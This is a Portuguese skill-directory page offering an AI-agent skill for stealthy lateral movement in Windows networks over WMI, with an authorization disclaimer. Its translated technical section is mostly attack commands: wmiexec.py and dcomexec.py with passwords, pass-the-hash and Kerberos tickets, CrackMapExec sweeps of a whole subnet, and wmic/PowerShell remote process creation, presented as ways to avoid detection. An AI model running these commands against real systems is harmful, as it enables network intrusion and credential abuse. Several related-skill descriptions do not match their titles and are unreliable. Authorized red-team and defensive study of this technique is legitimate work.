performing-lateral-movement-with-wmiexec
Ajuda seu agente a se mover por redes Windows usando WMI para executar comandos remotamente, útil em testes de segurança.
O que ela faz
Esta ferramenta permite que você execute comandos em outros computadores na rede usando o WMI, que é uma forma de o Windows gerenciar coisas remotamente. É útil para testar a segurança de redes.
Quando usar
- ✓Ao testar a segurança de uma rede com permissão.
- ✓Para verificar se as defesas de segurança estão funcionando.
- ✓Ao investigar um incidente de segurança.
Exemplo do que pedir para a IA
“Execute o comando 'ipconfig' no computador 10.10.10.50 usando as credenciais de administrador.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
Ela usa um recurso do Windows chamado WMI para enviar comandos para outros computadores. Em vez de instalar um programa novo, ela usa comandos que já existem no Windows, tornando mais difícil de ser detectada.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-lateral-movement-with-wmiexecOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-lateral-movement-with-wmiexec/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Movimentação Lateral com WMIExec
Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão escrita para testar é ilegal e pode violar leis de fraude de computador.
Visão Geral
WMI (Windows Management Instrumentation) é um framework legítimo de administração do Windows que equipes vermelhas abusam para movimentação lateral, pois fornece execução remota de comandos sem implantar serviços adicionais ou deixar artefatos óbvios como o PsExec. O wmiexec.py do Impacket cria um shell semi-interativo via WMI executando comandos através do Win32_Process.Create e lendo a saída por meio de arquivos temporários no compartilhamento ADMIN$. Ao contrário do PsExec, o WMIExec não instala um serviço no alvo, tornando-o mais furtivo e menos propenso a disparar alertas de segurança. A movimentação lateral baseada em WMI mapeia para o MITRE ATT&CK T1047 (Windows Management Instrumentation) e é usada por atores de ameaças, incluindo APT29, APT32 e Lazarus Group.
Quando Usar
- Ao conduzir avaliações de segurança que envolvem a realização de movimentação lateral com wmiexec
- Ao seguir procedimentos de resposta a incidentes para eventos de segurança relacionados
- Ao realizar testes de segurança agendados ou atividades de auditoria
- Ao validar controles de segurança por meio de testes práticos
Pré-requisitos
- Familiaridade com conceitos e ferramentas de red teaming
- Acesso a um ambiente de teste ou laboratório para execução segura
- Python 3.8+ com as dependências necessárias instaladas
- Autorização apropriada para quaisquer atividades de teste
Objetivos
- Executar comandos remotos em alvos Windows usando técnicas baseadas em WMI
- Estabelecer shells semi-interativos via Impacket wmiexec.py
- Realizar movimentação lateral com Pass-the-Hash usando WMI
- Usar CrackMapExec para execução de comandos WMI em múltiplos alvos
- Executar comandos WMI nativos do PowerShell para movimentação lateral sem arquivos
- Encadear WMI com coleta de credenciais para acesso em toda a rede
Mapeamento MITRE ATT&CK
- T1047 - Windows Management Instrumentation
- T1021.003 - Remote Services: Distributed Component Object Model (DCOM)
- T1550.002 - Use Alternate Authentication Material: Pass the Hash
- T1059.001 - Command and Scripting Interpreter: PowerShell
- T1570 - Lateral Tool Transfer
Fluxo de Trabalho
Fase 1: WMIExec com Impacket
- Executar um shell semi-interativo com credenciais:
# With cleartext password wmiexec.py domain.local/admin:'Password123'@10.10.10.50 # With NT hash (Pass-the-Hash) wmiexec.py -hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 domain.local/admin@10.10.10.50 # With Kerberos ticket export KRB5CCNAME=admin.ccache wmiexec.py -k -no-pass domain.local/admin@TARGET01.domain.local # Execute specific command (non-interactive) wmiexec.py domain.local/admin:'Password123'@10.10.10.50 "ipconfig /all" - Executar comandos sem arquivo de saída (mais furtivo usando DCOM):
# Using dcomexec.py as alternative (MMC20.Application DCOM object) dcomexec.py -object MMC20 domain.local/admin:'Password123'@10.10.10.50 # Using ShellWindows DCOM object dcomexec.py -object ShellWindows domain.local/admin:'Password123'@10.10.10.50
Fase 2: Execução Multi-Alvo com CrackMapExec
- Executar comandos em múltiplos alvos:
# Execute single command on subnet crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123' -x "whoami" # Execute with hash crackmapexec wmi 10.10.10.0/24 -u admin -H a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 -x "ipconfig" # Execute PowerShell command crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123' -X "Get-Process" # Check local admin access via WMI crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123'
Fase 3: Comandos WMI Nativos (Windows)
- Executar comandos remotos usando ferramentas WMI integradas do Windows:
# Usando wmic.exe (descontinuado, mas ainda disponível) wmic /node:10.10.10.50 /user:domain\admin /password:Password123 process call create "cmd.exe /c whoami > C:\temp\out.txt" # Usando PowerShell Invoke-WmiMethod $cred = Get-Credential Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName 10.10.10.50 ` -Credential $cred -ArgumentList "cmd.exe /c ipconfig > C:\temp\output.txt" # Usando sessões CIM (substituição moderna para WMI) $session = New-CimSession -ComputerName 10.10.10.50 -Credential $cred Invoke-CimMethod -CimSession $session -ClassName Win32_Process `
…
Perguntas frequentes
O que é WMI?
WMI significa Windows Management Instrumentation. É uma ferramenta que administradores de sistemas usam para gerenciar computadores Windows remotamente.
Por que usar WMI para movimentação lateral?
Porque o WMI já está presente no Windows e não requer a instalação de novos serviços, o que o torna mais discreto e menos propenso a disparar alertas de segurança.
O que é 'movimentação lateral'?
É o termo usado em segurança para descrever o ato de um invasor se mover de um computador para outro dentro de uma rede após ter obtido acesso inicial a um deles.
Detalhes
Descrição original do autor
Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #6093
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
benchmark-optimization-loop
Faz seu agente melhorar a velocidade de algo de forma medida. Ele testa várias versões e escolhe a mais rápida que ainda funciona corretamente.
affaan-m/ECC
change-impact
Ajuda seu agente a analisar o impacto de mudanças no código antes de fazê-las. Ele compara o planejado com o real depois, cobrindo caminhos, dados, testes e documentação. É útil para mudanças arriscadas ou que afetam várias partes do sistema.
affaan-m/ECC
click-path-audit
Faz seu agente rastrear todos os botões e interações do usuário para achar bugs. Ele encontra problemas onde funções parecem funcionar sozinhas, mas falham juntas. Útil quando bugs persistem mesmo após depuração.
affaan-m/ECC